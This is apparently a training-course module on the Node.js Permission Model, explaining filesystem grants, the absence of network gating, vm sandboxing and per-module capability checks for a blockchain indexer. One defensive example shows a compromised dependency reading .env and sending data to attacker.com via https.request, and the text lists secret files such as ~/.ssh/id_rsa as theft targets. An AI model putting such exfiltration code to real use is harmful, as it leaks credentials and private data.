Module 16 — Zero-Trust Runtime Architecture & The Node.js Permission Model
What this module covers: The Node.js ecosystem has a supply chain problem. A single compromised transitive dependency can exfiltrate environment variables, read SSH keys, or establish outbound connections to attacker infrastructure — and your application has no defense. npm audit finds known vulnerabilities. It does not stop unknown ones. The Node.js Permission Model (v20+) provides runtime defense: a process cannot read/write files it hasn't been granted access to, spawn subprocesses, create worker threads, or load native addons unless explicitly permitted. It does not restrict network access — that's a deliberate scope limit you need to design around, not an oversight. This module covers the Permission Model's actual architecture, capability delegation patterns, and how to structure an ingestion pipeline so that a compromised analytics dependency cannot reach your database credentials on disk.
The Supply Chain Attack Surface
A typical blockchain indexer has:
bash
847 packages. You audited and trust maybe 20 of them directly. The other 827 are transitive dependencies of your dependencies. Each one can:
Read /etc/passwd, ~/.ssh/id_rsa, .env
Open TCP connections to attacker.com:443
Execute shell commands
Write to the filesystem
npm audit only catches packages with known CVEs. A new supply chain attack (a freshly compromised package, a typosquatting attack, a malicious update to a legitimate package) is invisible to npm audit until it is reported.
The Permission Model closes this gap by restricting what the Node.js process can do at runtime, regardless of what any code tries to do.
The Node.js Permission Model (v20+)
The Permission Model is activated via command-line flags. Without a flag, the capability is denied.
bash
Everything not explicitly granted is denied by default once --permission is active — including child_process, worker_threads, and native addons, since no --allow-child-process/--allow-worker/--allow-addons flags were passed above. Network access is the one resource the model has no concept of at all: there's no flag that would restrict it, granted or not.
Any code (yours or a dependency's) that tries to access a resource outside these permissions gets a runtime error:
text
Available Permission Flags
bash
There is no --allow-net flag. Network sockets, fetch, http/https requests — none of it is gated by the Permission Model, in any Node.js version. If you need to restrict which hosts a process can reach, that has to happen outside the runtime (an egress firewall rule, a network policy in Kubernetes, an explicit allowlist in your own HTTP client wrapper) — not through this flag set.
Using --permission without any --allow-* flags enables the model with no permissions granted for the resources it does cover (fs, child_process, worker, wasi, addons) — a deny-all sandbox for those five things specifically, with network access left exactly as open as it would be without the flag at all. (--permission is the stable flag name since Node.js v23.5.0; older Node versions used --experimental-permission.)
Capability Delegation: Layered Trust
The correct architecture: give each module only the permissions it actually needs.
text
bash
Note what's not on that command line: there's no way to tell Node "only this process may talk to db.internal:5432." If you need that guarantee, it has to come from an egress firewall rule or a Kubernetes NetworkPolicy sitting outside the Node process, not from a --allow-* flag.
What This Prevents — and What It Doesn't
javascript
The first call is genuinely blocked — the compromised package can't read a file outside its granted paths, full stop. The second call is not blocked by anything shown in this module: if a compromised dependency already has data in memory (a decrypted token, a value passed into it as a function argument, anything that didn't require an extra file read to obtain), it can ship that data to attacker.com over HTTPS with zero interference from the Permission Model. The defense here is indirect — deny the file read that would have supplied the secret in the first place — not a network-layer block.
Programmatic Permission Checks
javascript
permission.has() only recognizes the resources the model actually governs — 'fs.read', 'fs.write', 'child', 'worker', 'wasi', 'addon'. There's no 'net' resource to check, for the same reason there's no --allow-net flag: the model was never designed to reason about network destinations.
Runtime Defense Beyond Permissions: vm Module Sandbox
For executing untrusted code (user-defined analytics scripts, plugin system), the vm module provides a sandbox:
javascript
Limitations:vm.runInContext is not a security sandbox against all attacks — determined attackers with access to the JS runtime can escape. For truly untrusted code, use Cloudflare Workers (Module 14) or a subprocess with the Permission Model applied.
Module-Level Capability Scoping
Structure your application so each module explicitly declares what it needs:
typescript
Summary
Concept
Key Takeaway
Supply chain risk
800+ transitive dependencies per app. Any can be compromised. npm audit only finds known CVEs.
Permission Model
--permission (stable since v23.5.0; was --experimental-permission) with --allow-* flags. Deny all by default. Runtime enforcement.
--allow-fs-read/write
Restrict filesystem access to specific paths. Compromised deps can't read .env or SSH keys.
Network access
Not covered by the Permission Model at all. No --allow-net flag exists. Restrict destinations with an external control (egress firewall, K8s NetworkPolicy) if you need one.
permission.has()
Programmatic permission check for fs.read/fs.write/child/worker/wasi/addon. Assert permissions at module initialization.
vm sandbox
Isolated execution context for untrusted scripts. 100ms timeout. No Node.js API access.
Capability scoping
Each module declares and checks only the permissions it legitimately needs.
Next: Distribution & Cold Starts: Single Executable Applications & V8 Snapshots →
Knowledge Check
What is the primary security limitation of relying solely on npm audit to protect a Node.js application from supply chain attacks?
A process is started with node --permission --allow-fs-read=/app/config dist/app.js. A compromised transitive dependency, already holding an API key it obtained from an allowed config file, attempts to send that key to attacker.com:443 over HTTPS. What happens?
Which of the following accurately describes the security boundary of the node:vm module when executing untrusted code?
Test your knowledge with more question sets
Sign in to access a wider variety of questions and get notified when new practice sets are added to this module.
# Run with the permission model enabled and only specific grants allowednode\--permission\ --allow-fs-read=/app/config,/app/dist \ --allow-fs-write=/app/logs \ dist/app.js
Error [ERR_ACCESS_DENIED]: Access to FileSystemRead was blocked by the Node.js permissions policy.
Requested /etc/passwd, allowed: /app/config, /app/dist
Permissions the model can actually grant/deny:
- Config files: fs-read /app/config
- Log output: fs-write /app/logs
- Nothing else — no child processes, no worker threads, no native addons
Left entirely outside the model's reach:
- Any outbound network connection, to any host — the model has no opinion here
- Reading /etc, ~/, /home (denied by simply never granting fs-read there)
- Writing to /app/src, /app/node_modules (denied the same way)
# Minimum-permission production startupnode\--permission\ --allow-fs-read=/app/dist,/app/config,/app/node_modules \ --allow-fs-write=/app/logs \ dist/app.js
// Compromised dependency attempting exfiltration:importfsfrom'node:fs';importhttpsfrom'node:https';// Read environment variables fileconst env = fs.readFileSync('/app/.env','utf8');// → ERR_ACCESS_DENIED: .env not in allow-fs-read list// Connect to attacker serverconst req = https.request({host:'attacker.com',port:443,path:'/exfil'});req.write('some data the process already had in memory');// → succeeds. No ERR_ACCESS_DENIED. The Permission Model does not gate network I/O at all.
import{ permission }from'node:process';// Check permissions at runtime (Node.js 20+)functionassertPermission(resource, path){if(!permission.has(resource, path)){thrownewError(`Permission denied: ${resource} for ${path}`);}}// Before writing logsassertPermission('fs.write','/app/logs/indexer.log');// Before spawning a subprocess (e.g. shelling out to a CLI tool)assertPermission('child',undefined);
import{ createContext, runInContext }from'node:vm';// Create an isolated context with no access to Node.js APIsfunctionrunUntrustedScript(code, inputData){const sandbox ={// Only expose safe data and functionsdata:JSON.parse(JSON.stringify(inputData)),// deep clone, no referencesconsole:{log:(msg)=>safeLog(msg)},// filtered consoleMath,JSON,// No: require, process, Buffer, __dirname, fs, net, etc.};const context =createContext(sandbox);try{returnrunInContext(code, context,{timeout:100,// 100ms max executionbreakOnSigint:true,// interruptible});}catch(err){if(err.code==='ERR_SCRIPT_EXECUTION_TIMEOUT'){thrownewError('Script timed out');}throw err;}}// User-defined analytics script runs with no access to host environmentrunUntrustedScript('data.transactions.filter(tx => tx.amount > 1000).length',{transactions: recentTransactions });
// modules/config-loader/index.ts// This module needs: fs-read on the config directory, nothing elseexportfunctioncreateConfigLoader(configDir:string){if(!process.permission.has('fs.read', configDir)){thrownewError(`Config loader requires fs-read permission for ${configDir}`);}return{load:(name:string)=>JSON.parse(fs.readFileSync(`${configDir}/${name}.json`,'utf8'))};}// modules/report-exporter/index.ts// This module needs: fs-write on the reports directory ONLY// It has no reason to touch /app/config or /app/src, and the permission// grant at process startup should never include those paths for this processexportfunctioncreateReportExporter(reportsDir:string){if(!process.permission.has('fs.write', reportsDir)){thrownewError(`Report exporter requires fs-write permission for ${reportsDir}`);}// This module physically cannot write to /app/src even if a bug tried to,// because that path was never in the --allow-fs-write list.// Note: neither module can be *network*-scoped this way — see the caveat above.}